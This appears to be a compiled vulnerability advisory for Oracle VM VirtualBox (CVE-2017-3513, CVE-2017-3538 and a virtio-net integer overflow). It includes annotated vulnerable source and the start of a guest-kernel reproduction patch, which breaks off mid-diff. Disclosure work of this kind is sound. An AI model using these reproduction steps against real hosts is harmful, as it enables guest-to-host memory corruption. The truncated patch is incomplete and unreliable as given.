Summary

Vulnerability in the Oracle VM VirtualBox component of Oracle Virtualization (subcomponent: Core). Supported versions that are affected are Prior to 5.0.38 and Prior to 5.1.20. Easily "exploitable" vulnerability allows high privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle VM VirtualBox accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. CVSS 3.0 Base Score 7.9 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H).

    descriptionThe version of Oracle VM VirtualBox installed on the remote host is 5.0.x prior to 5.0.38 or 5.1.x prior to 5.1.20. It is, therefore, affected by multiple vulnerabilities : - An unspecified flaw exists in the Core component that allows a local attacker to disclose potentially sensitive information. (CVE-2017-3513) - A flaw exists in the Shared Folder component, specifically when cooperating guests access files within a shared folder while moving it. A local attacker within a guest can exploit this to read arbitrary files on the host. (CVE-2017-3538) - Multiple unspecified flaws exist in the Core component that allow a local attacker to impact confidentiality, integrity, and availability.

descriptionThis is a vulnerability that affects VirtualBox VMs that use a virtio network adapter (which is a non-standard configuration). It permits the guest kernel to write up to 4GB of controlled data out of bounds in the trusted userland host process. The bug is in the following code in src/VBox/Devices/Network/DevVirtioNet.cpp (comments starting with `//###` are by me): ``` while (vqueuePeek(&pThis->VPCI, pQueue, &elem)) { unsigned int uOffset = 0; if (elem.nOut < 2 || elem.aSegsOut[0].cb != uHdrLen) { [...] } else { unsigned int uSize = 0; [...] /* Compute total frame size. */ //### .cb members are attacker-controlled uint32_t. //### addition is performed without overflow check. for (unsigned int i = 1; i < elem.nOut; i++) uSize += elem.aSegsOut[i].cb; [...] //### Assert() has no effect in release builds. Assert(uSize <= VNET_MAX_FRAME_SIZE); if (pThis->pDrv) { [...] PPDMSCATTERGATHER pSgBuf; //### undersized buffer is allocated here. int rc = pThis->pDrv->pfnAllocBuf(pThis->pDrv, uSize, pGso, &pSgBuf); if (RT_SUCCESS(rc)) { Assert(pSgBuf->cSegs == 1); /* Assemble a complete frame. */ for (unsigned int i = 1; i < elem.nOut; i++) { //### memory corruption happens here. PDMDevHlpPhysRead(pThis->VPCI.CTX_SUFF(pDevIns), elem.aSegsOut[i].addr, ((uint8_t*)pSgBuf->aSegs[0].pvSeg) + uOffset, elem.aSegsOut[i].cb); uOffset += elem.aSegsOut[i].cb; } [...] } else { [...] } [...] } } [...] } ``` This code basically takes an IO vector (`elem.aSegsOut`) from the guest, allocates a buffer (`pSgBuf`) that is large enough to hold the concatenation of all elements of the IO vector, then copies data from the IO vector into the newly allocated buffer. The issue here is that the lengths from the IO vector are summed up without overflow checking. If the total length of the IO vector is over 4GB, `uSize` wraps around, causing the allocated buffer to be up to 4GB smaller than the data that is copied into it. The reason why the amount of data that is written out of bounds can be less than 4GB is that uOffset is also only 32 bits wide, causing the start offsets of the IO vector elements to wrap. A VM does not need to have 4GB of memory to be able to trigger the bug. To reproduce, create a VM with 2GB of RAM, configure the VM to use virtio, then run a Linux system with the following kernel patch applied inside the VM: ``` # git show --format=oneline HEAD 0722f57bfae9abbc673b9dbe495c7da2f64676ea Merge tag 'drm-fixes-for-v4.10-final' of git://people.freedesktop.org/~airlied/linux # git diff diff --git a/drivers/virtio/virtio_ring.c b/drivers/virtio/virtio_ring.c index 409aeaa..7eca030 100644 --- a/drivers/virtio/virtio_ring.c +++ b/drivers/virtio/virtio_ring.c @@ -271,6 +271,7 @@ static inline int virtqueue_add(struct virtqueue *_vq, unsigned int i, n, avail, descs_used, uninitialized_var(prev), err_idx; int head; bool indirect; + int attack_i; START_USE(vq); @@ -301,7 +302,7 @@ static inline int virtqueue_add(struct virtqueue *_vq, /* If the host supports indirect descriptor tables, and we have multiple * buffers, then go indirect.

For example, if the network interface is a NAT interface, drvNATNetworkUp_AllocBuf() is used to allocate the buffer, which in the pGso!=NULL case will allocate an arbitrarily-sized buffer with RTMemAlloc(), which should allow arbitrarily-sized allocations, permitting an out-of-bounds write behind a big heap allocation with fully controlled length and data. This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Oracle assigned tracking# S0833831. Oracle is planning to release a fix on 2017-04-18. Fixed in http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html.
